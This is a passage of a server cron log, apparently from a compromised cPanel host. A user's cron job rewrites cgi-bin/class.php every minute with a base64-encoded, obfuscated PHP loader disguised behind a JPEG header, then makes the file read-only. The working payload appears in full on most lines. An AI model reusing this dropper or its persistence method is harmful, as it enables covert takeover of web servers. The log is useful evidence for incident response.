Nov 10 09:10:01 server CROND[7285]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:11:01 server CROND[8161]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:12:01 server CROND[9155]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 09:12:01 server CROND[9156]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:13:01 server CROND[10009]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:14:01 server CROND[10717]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:15:01 server CROND[11454]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:15:01 server CROND[11456]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 09:15:01 server CROND[11455]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 09:16:01 server CROND[12193]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:17:01 server CROND[12919]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:18:01 server CROND[13601]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:19:01 server CROND[14533]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:20:01 server CROND[15527]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 09:20:01 server CROND[15528]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 09:20:01 server CROND[15529]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 09:20:01 server CROND[15534]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:20:01 server CROND[15535]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 09:21:01 server CROND[16409]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:22:01 server CROND[17251]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:23:01 server CROND[18099]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 